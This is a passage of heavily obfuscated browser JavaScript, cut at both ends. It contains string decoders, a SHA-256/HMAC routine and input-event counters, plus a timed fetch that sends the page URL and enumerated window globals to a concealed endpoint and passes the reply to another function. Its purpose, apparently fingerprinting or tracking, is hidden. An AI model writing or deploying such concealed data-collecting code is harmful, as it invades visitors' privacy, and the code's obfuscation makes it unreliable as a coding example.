RpmYYq=MSUxhJ2.indexOf(j2tRUWQ[Umd97Q]);if(RpmYYq===-FZHYVb[0x1])continue;if(eS9fQMb<FZHYVb[0x0]){eS9fQMb=RpmYYq}else{N4W9hYK(eS9fQMb+=RpmYYq*FZHYVb[0xc],R_2lkdW|=eS9fQMb<<FUaXU5,FUaXU5+=(eS9fQMb&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(nco7OV.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],FUaXU5-=FZHYVb[0x2])}while(FUaXU5>FZHYVb[0x9]);eS9fQMb=-FZHYVb[0x1]}}if(eS9fQMb>-FZHYVb[0x1]){nco7OV.push((R_2lkdW|eS9fQMb<<FUaXU5)&FZHYVb[0x3])}return t24J32(nco7OV)}function j2tRUWQ(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=MSUxhJ2(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return g3Gld7J^dNiP0ow[_PoKZj%dNiP0ow[j2tRUWQ(0x65)]]}))},io4LB2P=async(g3Gld7J,_PoKZj)=>{function MSUxhJ2(g3Gld7J){var _PoKZj="4w#JpDzmLT&o<3yX;xWA!9HdR6qt|F7fPN@n.^_OQGu%se/gM5Sl+iU~Y8ECbIc$K\"{rV*)?kh2B]j>v,`[:Z1(=0a}",MSUxhJ2,j2tRUWQ,nco7OV,R_2lkdW,FUaXU5,eS9fQMb,Umd97Q;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,nco7OV=[],R_2lkdW=FZHYVb[0x0],FUaXU5=FZHYVb[0x0],eS9fQMb=-FZHYVb[0x1]);for(Umd97Q=FZHYVb[0x0];Umd97Q<j2tRUWQ;Umd97Q++){var RpmYYq=_PoKZj.indexOf(MSUxhJ2[Umd97Q]);if(RpmYYq===-FZHYVb[0x1])continue;if(eS9fQMb<FZHYVb[0x0]){eS9fQMb=RpmYYq}else{N4W9hYK(eS9fQMb+=RpmYYq*FZHYVb[0xc],R_2lkdW|=eS9fQMb<<FUaXU5,FUaXU5+=(eS9fQMb&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(nco7OV.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],FUaXU5-=FZHYVb[0x2])}while(FUaXU5>FZHYVb[0x9]);eS9fQMb=-FZHYVb[0x1]}}if(eS9fQMb>-FZHYVb[0x1]){nco7OV.push((R_2lkdW|eS9fQMb<<FUaXU5)&FZHYVb[0x3])}return t24J32(nco7OV)}function j2tRUWQ(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=MSUxhJ2(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}const Q4sOnFn=await fetch(j2tRUWQ(0x66)+g3Gld7J,{[j2tRUWQ(0x67)]:j2tRUWQ(0x68),[j2tRUWQ(0x69)]:db47_vS(RpmYYq[j2tRUWQ(0x6a)](JSON[j2tRUWQ(0x6b)](_PoKZj)))});if(!Q4sOnFn.ok){throw new Error}return UPyk5fu[j2tRUWQ(0x6c)](db47_vS(new Uint8Array(await Q4sOnFn[j2tRUWQ(0x6d)]())))};let ypO47D=FZHYVb[0x0],z12fX0=FZHYVb[0x0];setTimeout(()=>{function g3Gld7J(g3Gld7J){var _PoKZj="A<X5k^#YB%q*0jRu.(HS+lO\"7drntTLGogmsINepViEUF{6[vz$~98,ZD:;aKP/3=Jc!&QhfCwW>M|_@)1}xy4]`?2b",j2tRUWQ,MSUxhJ2,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(j2tRUWQ=""+(g3Gld7J||""),MSUxhJ2=j2tRUWQ.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<MSUxhJ2;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(j2tRUWQ[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x6e)in xEv0OAf){j2tRUWQ()}function j2tRUWQ(){var g3Gld7J=function(){var g3Gld7J=FZHYVb[0x0],_PoKZj,j2tRUWQ;_PoKZj="";function R_2lkdW(g3Gld7J){return HwsNDHD(ypO47D(ZXXPKzm(g3Gld7J)))}function FUaXU5(g3Gld7J,_PoKZj){return HwsNDHD(lwkZPmj(ZXXPKzm(g3Gld7J),ZXXPKzm(_PoKZj)))}function Umd97Q(g3Gld7J,_PoKZj){return s7MFvm(lwkZPmj(ZXXPKzm(g3Gld7J),ZXXPKzm(_PoKZj)))}function dNiP0ow(g3Gld7J,_PoKZj,j2tRUWQ){return xEv0OAf(lwkZPmj(ZXXPKzm(g3Gld7J),ZXXPKzm(_PoKZj)),j2tRUWQ)}function ypO47D(g3Gld7J){return nRl9NM(Rbmywh9(_50gmY(g3Gld7J),g3Gld7J.length*FZHYVb[0x2]))}function lwkZPmj(g3Gld7J,_PoKZj){var j2tRUWQ,R_2lkdW,FUaXU5;function Umd97Q(g3Gld7J){var _PoKZj="z>7@y}82*]F)S~kjle`=A3?/&+!KBcCb\"TQ;UR[.iMf$mOxY95|H,gDw%4Z_W:1d6(XsNrP^LtE{anvIoqu<VGpJ0h#",j2tRUWQ,FUaXU5,Umd97Q,dNiP0ow,ypO47D,lwkZPmj,HwsNDHD;N4W9hYK(j2tRUWQ=""+(g3Gld7J||""),FUaXU5=j2tRUWQ.length,Umd97Q=[],dNiP0ow=FZHYVb[0x0],ypO47D=FZHYVb[0x0],lwkZPmj=-FZHYVb[0x1]);for(HwsNDHD=FZHYVb[0x0];HwsNDHD<FUaXU5;HwsNDHD++){var s7MFvm=_PoKZj.indexOf(j2tRUWQ[HwsNDHD]);if(s7MFvm===-FZHYVb[0x1])continue;if(lwkZPmj<FZHYVb[0x0]){lwkZPmj=s7MFvm}else{N4W9hYK(lwkZPmj+=s7MFvm*FZHYVb[0xc],dNiP0ow|=lwkZPmj<<ypO47D,ypO47D+=(lwkZPmj&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Umd97Q.push(dNiP0ow&FZHYVb[0x3]),dNiP0ow>>=FZHYVb[0x2],ypO47D-=FZHYVb[0x2])}while(ypO47D>FZHYVb[0x9]);lwkZPmj=-FZHYVb[0x1]}}if(lwkZPmj>-FZHYVb[0x1]){Umd97Q.push((dNiP0ow|lwkZPmj<<ypO47D)&FZHYVb[0x3])}return t24J32(Umd97Q)}function dNiP0ow(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=Umd97Q(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}j2tRUWQ=_50gmY(g3Gld7J);if(j2tRUWQ.length>FZHYVb[0x12])j2tRUWQ=Rbmywh9(j2tRUWQ,g3Gld7J.length*FZHYVb[0x2]);var ypO47D=Array(FZHYVb[0x12]),lwkZPmj=Array(FZHYVb[0x12]);for(R_2lkdW=FZHYVb[0x0];R_2lkdW<FZHYVb[0x12];R_2lkdW++){N4W9hYK(ypO47D[R_2lkdW]=j2tRUWQ[R_2lkdW]^0x36363636,lwkZPmj[R_2lkdW]=j2tRUWQ[R_2lkdW]^0x5c5c5c5c)}FUaXU5=Rbmywh9(ypO47D.concat(_50gmY(_PoKZj)),FZHYVb[0x13]+_PoKZj.length*FZHYVb[0x2]);return nRl9NM(Rbmywh9(lwkZPmj.concat(FUaXU5),vJUdU0(dNiP0ow(0x71),FZHYVb[0x13],0x100)))}function HwsNDHD(_PoKZj){var j2tRUWQ,R_2lkdW,FUaXU5,Umd97Q;function dNiP0ow(_PoKZj){var j2tRUWQ="AHV:KTkGUJBrposMZu13^C?[%*zW{g7_ld`tqf,jY.@}+~&;|$FODP]hiIvR5many<!\"bQ>L2w6xe=/#40NEXSc89()",R_2lkdW,FUaXU5,dNiP0ow,ypO47D,g3Gld7J,lwkZPmj,HwsNDHD;N4W9hYK(R_2lkdW=""+(_PoKZj||""),FUaXU5=R_2lkdW.length,dNiP0ow=[],ypO47D=FZHYVb[0x0],g3Gld7J=FZHYVb[0x0],lwkZPmj=-FZHYVb[0x1]);for(HwsNDHD=FZHYVb[0x0];HwsNDHD<FUaXU5;HwsNDHD++){var s7MFvm=j2tRUWQ.indexOf(R_2lkdW[HwsNDHD]);if(s7MFvm===-FZHYVb[0x1])continue;if(lwkZPmj<FZHYVb[0x0]){lwkZPmj=s7MFvm}else{N4W9hYK(lwkZPmj+=s7MFvm*FZHYVb[0xc],ypO47D|=lwkZPmj<<g3Gld7J,g3Gld7J+=(lwkZPmj&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(dNiP0ow.push(ypO47D&FZHYVb[0x3]),ypO47D>>=FZHYVb[0x2],g3Gld7J-=FZHYVb[0x2])}while(g3Gld7J>FZHYVb[0x9]);lwkZPmj=-FZHYVb[0x1]}}if(lwkZPmj>-FZHYVb[0x1]){dNiP0ow.push((ypO47D|lwkZPmj<<g3Gld7J)&FZHYVb[0x3])}return t24J32(dNiP0ow)}function ypO47D(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=dNiP0ow(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}try{}catch(e){g3Gld7J=FZHYVb[0x0]}N4W9hYK(j2tRUWQ=g3Gld7J?ypO47D(0x72):ypO47D(0x73),R_2lkdW="",FUaXU5=void 0x0);for(Umd97Q=FZHYVb[0x0];Umd97Q<_PoKZj.length;Umd97Q++){N4W9hYK(FUaXU5=_PoKZj.charCodeAt(Umd97Q),R_2lkdW+=j2tRUWQ.charAt(FUaXU5>>>FZHYVb[0x17]&FZHYVb[0x14])+j2tRUWQ.charAt(FUaXU5&FZHYVb[0x14]))}return R_2lkdW}function s7MFvm(g3Gld7J){var j2tRUWQ,R_2lkdW,FUaXU5,Umd97Q;function dNiP0ow(g3Gld7J){var j2tRUWQ=",DA9i?0>XpxQ/T4kvNw5CL6Er_U{R&y(fb.o%~$=n38WOsm`dlz!I\"P^#u1M)]2@GKBjShcF<eH|}J[gVtY*q;:Z7a+",R_2lkdW,dNiP0ow,ypO47D,lwkZPmj,HwsNDHD,_PoKZj,s7MFvm;N4W9hYK(R_2lkdW=""+(g3Gld7J||""),dNiP0ow=R_2lkdW.length,ypO47D=[],lwkZPmj=FZHYVb[0x0],HwsNDHD=FZHYVb[0x0],_PoKZj=-FZHYVb[0x1]);for(s7MFvm=FZHYVb[0x0];s7MFvm<dNiP0ow;s7MFvm++){var xEv0OAf=j2tRUWQ.indexOf(R_2lkdW[s7MFvm]);if(xEv0OAf===-FZHYVb[0x1])continue;if(_PoKZj<FZHYVb[0x0]){_PoKZj=xEv0OAf}else{N4W9hYK(_PoKZj+=xEv0OAf*FZHYVb[0xc],lwkZPmj|=_PoKZj<<HwsNDHD,HwsNDHD+=(_PoKZj&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(ypO47D.push(lwkZPmj&FZHYVb[0x3]),lwkZPmj>>=FZHYVb[0x2],HwsNDHD-=FZHYVb[0x2])}while(HwsNDHD>FZHYVb[0x9]);_PoKZj=-FZHYVb[0x1]}}if(_PoKZj>-FZHYVb[0x1]){ypO47D.push((lwkZPmj|_PoKZj<<HwsNDHD)&FZHYVb[0x3])}return t24J32(ypO47D)}function ypO47D(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=dNiP0ow(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}try{}catch(e){_PoKZj=""}N4W9hYK(j2tRUWQ=ypO47D(0x74),R_2lkdW="",FUaXU5=g3Gld7J.length);for(Umd97Q=FZHYVb[0x0];Umd97Q<FUaXU5;Umd97Q+=FZHYVb[0x15]){var lwkZPmj=g3Gld7J.charCodeAt(Umd97Q)<<FZHYVb[0x12]|(Umd97Q+FZHYVb[0x1]<FUaXU5?g3Gld7J.charCodeAt(Umd97Q+FZHYVb[0x1])<<FZHYVb[0x2]:FZHYVb[0x0])|(Umd97Q+FZHYVb[0x16]<FUaXU5?g3Gld7J.charCodeAt(Umd97Q+FZHYVb[0x16]):FZHYVb[0x0]),HwsNDHD;for(HwsNDHD=FZHYVb[0x0];HwsNDHD<FZHYVb[0x17];HwsNDHD++)Umd97Q*FZHYVb[0x2]+HwsNDHD*FZHYVb[0x7]>g3Gld7J.length*FZHYVb[0x2]?R_2lkdW+=_PoKZj:R_2lkdW+=j2tRUWQ.charAt(lwkZPmj>>>FZHYVb[0x7]*(FZHYVb[0x15]-HwsNDHD)&FZHYVb[0x6])}return R_2lkdW}function xEv0OAf(g3Gld7J,_PoKZj){var j2tRUWQ=_PoKZj.length,R_2lkdW,FUaXU5,Umd97Q,dNiP0ow;R_2lkdW=Array();var ypO47D,lwkZPmj,HwsNDHD,s7MFvm;FUaXU5=Array(Math.ceil(g3Gld7J.length/FZHYVb[0x16]));for(ypO47D=FZHYVb[0x0];ypO47D<FUaXU5.length;ypO47D++)FUaXU5[ypO47D]=g3Gld7J.charCodeAt(ypO47D*FZHYVb[0x16])<<FZHYVb[0x2]|g3Gld7J.charCodeAt(ypO47D*FZHYVb[0x16]+FZHYVb[0x1]);while(FUaXU5.length>FZHYVb[0x0]){N4W9hYK(s7MFvm=Array(),HwsNDHD=FZHYVb[0x0]);for(ypO47D=FZHYVb[0x0];ypO47D<FUaXU5.length;ypO47D++){N4W9hYK(HwsNDHD=(HwsNDHD<<FZHYVb[0x12])+FUaXU5[ypO47D],lwkZPmj=Math.floor(HwsNDHD/j2tRUWQ),HwsNDHD-=lwkZPmj*j2tRUWQ);if(s7MFvm.length>FZHYVb[0x0]||lwkZPmj>FZHYVb[0x0])s7MFvm[s7MFvm.length]=lwkZPmj}N4W9hYK(R_2lkdW[R_2lkdW.length]=HwsNDHD,FUaXU5=s7MFvm)}Umd97Q="";for(ypO47D=R_2lkdW.length-FZHYVb[0x1];ypO47D>=FZHYVb[0x0];ypO47D--)Umd97Q+=_PoKZj.charAt(R_2lkdW[ypO47D]);dNiP0ow=Math.ceil(g3Gld7J.length*FZHYVb[0x2]/(Math.log(_PoKZj.length)/Math.log(FZHYVb[0x16])));for(ypO47D=Umd97Q.length;ypO47D<dNiP0ow;ypO47D++)Umd97Q=_PoKZj[FZHYVb[0x0]]+Umd97Q;return Umd97Q}function ZXXPKzm(g3Gld7J){var _PoKZj="",j2tRUWQ;j2tRUWQ=-FZHYVb[0x1];var R_2lkdW,FUaXU5;while(++j2tRUWQ<g3Gld7J.length){N4W9hYK(R_2lkdW=g3Gld7J.charCodeAt(j2tRUWQ),FUaXU5=j2tRUWQ+FZHYVb[0x1]<g3Gld7J.length?g3Gld7J.charCodeAt(j2tRUWQ+FZHYVb[0x1]):FZHYVb[0x0]);if(0xd800<=R_2lkdW&&R_2lkdW<=0xdbff&&0xdc00<=FUaXU5&&FUaXU5<=0xdfff){N4W9hYK(R_2lkdW=0x10000+((R_2lkdW&FZHYVb[0x18])<<FZHYVb[0x20])+(FUaXU5&FZHYVb[0x18]),j2tRUWQ++)}if(R_2lkdW<=FZHYVb[0x19])_PoKZj+=String.fromCharCode(R_2lkdW);else if(R_2lkdW<=0x7ff)_PoKZj+=String.fromCharCode(0xc0|R_2lkdW>>>FZHYVb[0x7]&FZHYVb[0x1a],FZHYVb[0x1b]|R_2lkdW&FZHYVb[0x6]);else if(R_2lkdW<=FZHYVb[0x23])_PoKZj+=String.fromCharCode(0xe0|R_2lkdW>>>FZHYVb[0xa]&FZHYVb[0x14],FZHYVb[0x1b]|R_2lkdW>>>FZHYVb[0x7]&FZHYVb[0x6],FZHYVb[0x1b]|R_2lkdW&FZHYVb[0x6]);else if(R_2lkdW<=0x1fffff)_PoKZj+=String.fromCharCode(0xf0|R_2lkdW>>>FZHYVb[0x1c]&FZHYVb[0x9],FZHYVb[0x1b]|R_2lkdW>>>FZHYVb[0xa]&FZHYVb[0x6],FZHYVb[0x1b]|R_2lkdW>>>FZHYVb[0x7]&FZHYVb[0x6],FZHYVb[0x1b]|R_2lkdW&FZHYVb[0x6])}return _PoKZj}function _50gmY(g3Gld7J){var _PoKZj=Array(g3Gld7J.length>>FZHYVb[0x16]),j2tRUWQ,j2tRUWQ;for(j2tRUWQ=FZHYVb[0x0];j2tRUWQ<_PoKZj.length;j2tRUWQ++)_PoKZj[j2tRUWQ]=FZHYVb[0x0];for(j2tRUWQ=FZHYVb[0x0];j2tRUWQ<g3Gld7J.length*FZHYVb[0x2];j2tRUWQ+=FZHYVb[0x2])_PoKZj[j2tRUWQ>>FZHYVb[0x1e]]|=(g3Gld7J.charCodeAt(j2tRUWQ/FZHYVb[0x2])&FZHYVb[0x3])<<FZHYVb[0x1f]-j2tRUWQ%FZHYVb[0x1d];return _PoKZj}function nRl9NM(g3Gld7J){var _PoKZj="",j2tRUWQ;for(j2tRUWQ=FZHYVb[0x0];j2tRUWQ<g3Gld7J.length*FZHYVb[0x1d];j2tRUWQ+=FZHYVb[0x2])_PoKZj+=String.fromCharCode(g3Gld7J[j2tRUWQ>>FZHYVb[0x1e]]>>>FZHYVb[0x1f]-j2tRUWQ%FZHYVb[0x1d]&FZHYVb[0x3]);return _PoKZj}function KZmjaK(g3Gld7J,_PoKZj){return g3Gld7J>>>_PoKZj|g3Gld7J<<FZHYVb[0x1d]-_PoKZj}function vbVLHv(g3Gld7J,_PoKZj){return g3Gld7J>>>_PoKZj}function IiiwLR1(g3Gld7J,_PoKZj,j2tRUWQ){return g3Gld7J&_PoKZj^~g3Gld7J&j2tRUWQ}function sm3mfM(g3Gld7J,_PoKZj,j2tRUWQ){return g3Gld7J&_PoKZj^g3Gld7J&j2tRUWQ^_PoKZj&j2tRUWQ}function KmzQ7gP(g3Gld7J){return KZmjaK(g3Gld7J,FZHYVb[0x16])^KZmjaK(g3Gld7J,FZHYVb[0xf])^KZmjaK(g3Gld7J,0x16)}function DwugHFS(g3Gld7J){return KZmjaK(g3Gld7J,FZHYVb[0x7])^KZmjaK(g3Gld7J,0xb)^KZmjaK(g3Gld7J,0x19)}function eTp757M(g3Gld7J){return KZmjaK(g3Gld7J,FZHYVb[0x9])^KZmjaK(g3Gld7J,FZHYVb[0x1c])^vbVLHv(g3Gld7J,FZHYVb[0x15])}function v8fEFC(g3Gld7J){return KZmjaK(g3Gld7J,0x11)^KZmjaK(g3Gld7J,FZHYVb[0x21])^vbVLHv(g3Gld7J,FZHYVb[0x20])}j2tRUWQ=new Array(0x428a2f98,0x71374491,-0x4a3f0431,-0x164a245b,0x3956c25b,0x59f111f1,-0x6dc07d5c,-0x54e3a12b,-0x27f85568,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,-0x7f214e02,-0x6423f959,-0x3e640e8c,-0x1b64963f,-0x1041b87a,0xfc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,-0x67c1aeae,-0x57ce3993,-0x4ffcd838,-0x40a68039,-0x391ff40d,-0x2a586eb9,0x6ca6351,0x14292967,0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,-0x7e3d36d2,-0x6d8dd37b,-0x5d40175f,-0x57e599b5,-0x3db47490,-0x3893ae5d,-0x2e6d17e7,-0x2966f9dc,-0xbf1ca7b,0x106aa070,0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,0x748f82ee,0x78a5636f,-0x7b3787ec,-0x7338fdf8,-0x6f410006,-0x5baf9315,-0x41065c09,-0x398e870e);function Rbmywh9(g3Gld7J,_PoKZj){var R_2lkdW=new Array(0x6a09e667,-0x4498517b,0x3c6ef372,-0x5ab00ac6,0x510e527f,-0x64fa9774,0x1f83d9ab,0x5be0cd19),FUaXU5;FUaXU5=new Array(FZHYVb[0x22]);var Umd97Q,dNiP0ow,ypO47D,lwkZPmj,HwsNDHD,s7MFvm,xEv0OAf,ZXXPKzm,_50gmY,nRl9NM,KZmjaK,vbVLHv;N4W9hYK(g3Gld7J[_PoKZj>>FZHYVb[0x1e]]|=FZHYVb[0x1b]<<FZHYVb[0x1f]-_PoKZj%FZHYVb[0x1d],g3Gld7J[(_PoKZj+FZHYVb[0x22]>>0x9<<FZHYVb[0x17])+FZHYVb[0x14]]=_PoKZj);for(_50gmY=FZHYVb[0x0];_50gmY<g3Gld7J.length;_50gmY+=FZHYVb[0x12]){N4W9hYK(Umd97Q=R_2lkdW[FZHYVb[0x0]],dNiP0ow=R_2lkdW[FZHYVb[0x1]],ypO47D=R_2lkdW[FZHYVb[0x16]],lwkZPmj=R_2lkdW[FZHYVb[0x15]],HwsNDHD=R_2lkdW[FZHYVb[0x17]],s7MFvm=R_2lkdW[FZHYVb[0x1e]],xEv0OAf=R_2lkdW[FZHYVb[0x7]],ZXXPKzm=R_2lkdW[FZHYVb[0x9]]);for(nRl9NM=FZHYVb[0x0];nRl9NM<FZHYVb[0x22];nRl9NM++){N4W9hYK(nRl9NM<FZHYVb[0x12]?FUaXU5[nRl9NM]=g3Gld7J[nRl9NM+_50gmY]:FUaXU5[nRl9NM]=J47H_Bw(J47H_Bw(J47H_Bw(v8fEFC(FUaXU5[nRl9NM-FZHYVb[0x16]]),FUaXU5[nRl9NM-FZHYVb[0x9]]),eTp757M(FUaXU5[nRl9NM-FZHYVb[0x14]])),FUaXU5[nRl9NM-FZHYVb[0x12]]),KZmjaK=J47H_Bw(J47H_Bw(J47H_Bw(J47H_Bw(ZXXPKzm,DwugHFS(HwsNDHD)),IiiwLR1(HwsNDHD,s7MFvm,xEv0OAf)),j2tRUWQ[nRl9NM]),FUaXU5[nRl9NM]),vbVLHv=J47H_Bw(KmzQ7gP(Umd97Q),sm3mfM(Umd97Q,dNiP0ow,ypO47D)),ZXXPKzm=xEv0OAf,xEv0OAf=s7MFvm,s7MFvm=HwsNDHD,HwsNDHD=J47H_Bw(lwkZPmj,KZmjaK),lwkZPmj=ypO47D,ypO47D=dNiP0ow,dNiP0ow=Umd97Q,Umd97Q=J47H_Bw(KZmjaK,vbVLHv))}N4W9hYK(R_2lkdW[FZHYVb[0x0]]=J47H_Bw(Umd97Q,R_2lkdW[FZHYVb[0x0]]),R_2lkdW[FZHYVb[0x1]]=J47H_Bw(dNiP0ow,R_2lkdW[FZHYVb[0x1]]),R_2lkdW[FZHYVb[0x16]]=J47H_Bw(ypO47D,R_2lkdW[FZHYVb[0x16]]),R_2lkdW[FZHYVb[0x15]]=J47H_Bw(lwkZPmj,R_2lkdW[FZHYVb[0x15]]),R_2lkdW[FZHYVb[0x17]]=J47H_Bw(HwsNDHD,R_2lkdW[FZHYVb[0x17]]),R_2lkdW[FZHYVb[0x1e]]=J47H_Bw(s7MFvm,R_2lkdW[FZHYVb[0x1e]]),R_2lkdW[FZHYVb[0x7]]=J47H_Bw(xEv0OAf,R_2lkdW[FZHYVb[0x7]]),R_2lkdW[FZHYVb[0x9]]=J47H_Bw(ZXXPKzm,R_2lkdW[FZHYVb[0x9]]))}return R_2lkdW}function J47H_Bw(g3Gld7J,_PoKZj){var j2tRUWQ=(g3Gld7J&FZHYVb[0x23])+(_PoKZj&FZHYVb[0x23]),R_2lkdW;R_2lkdW=(g3Gld7J>>FZHYVb[0x12])+(_PoKZj>>FZHYVb[0x12])+(j2tRUWQ>>FZHYVb[0x12]);return R_2lkdW<<FZHYVb[0x12]|j2tRUWQ&FZHYVb[0x23]}return{hex:R_2lkdW,b64:Umd97Q,any:dNiP0ow,hex_hmac:FUaXU5,b64_hmac:Umd97Q,any_hmac:dNiP0ow}}();console.log(g3Gld7J)}N4W9hYK(ypO47D=cUL0VT(),io4LB2P(_PoKZj(0x75),{[_PoKZj(0x76)]:Umd97Q,u:window[_PoKZj(0x77)][_PoKZj(0x78)],[_PoKZj(0x79)]:Object[_PoKZj(0x7a)](window)[_PoKZj(0x7b)](g3Gld7J=>{function j2tRUWQ(g3Gld7J){var j2tRUWQ="c<4qPL\"0VgNYun&kD!C,RMy%=pJG+:_IQ~1;#lrb9[vs({/maS67.U2W`fFO^35}w]|>X$HExBKz?@i8*h)AjZodetT",MSUxhJ2,_PoKZj,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),_PoKZj=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<_PoKZj;eS9fQMb++){var Umd97Q=j2tRUWQ.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function MSUxhJ2(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=j2tRUWQ(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return g3Gld7J[FZHYVb[0x0]]===g3Gld7J[FZHYVb[0x0]][_PoKZj(0x7c)]()&&!g3Gld7J[MSUxhJ2(0x7d)]("on")})})[_PoKZj(0x7e)](g3Gld7J=>{const j2tRUWQ=JSON[_PoKZj(FZHYVb[0x19])](g3Gld7J);N4W9hYK(z12fX0=cUL0VT(),FUaXU5=j2tRUWQ[_PoKZj(FZHYVb[0x1b])],j2tRUWQ[FZHYVb[0x24]]&&WuMNj_9(j2tRUWQ[FZHYVb[0x24]]))})[_PoKZj(0x81)](()=>{return FZHYVb[0x0]}))},0x1f4);let C1tndH=!FZHYVb[0x1],lwkZPmj=FZHYVb[0x0],HwsNDHD=FZHYVb[0x0];N4W9hYK(document[_PoKZj(FZHYVb[0x25])](_PoKZj(0x83),g3Gld7J=>{return g3Gld7J[_PoKZj(0x84)]&&lwkZPmj++}),document[_PoKZj(FZHYVb[0x25])](_PoKZj(0x85),g3Gld7J=>{function _PoKZj(g3Gld7J){var _PoKZj="MDkWPsZxhR*n!{lb&XKQ4)}tA;J`H@?:UVY.5fc3,(dp%IjwFE=>r08NiBSGev|TL2]mgCu1O#q/o~_<\"+[za$9^6y7",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function MSUxhJ2(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=_PoKZj(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return 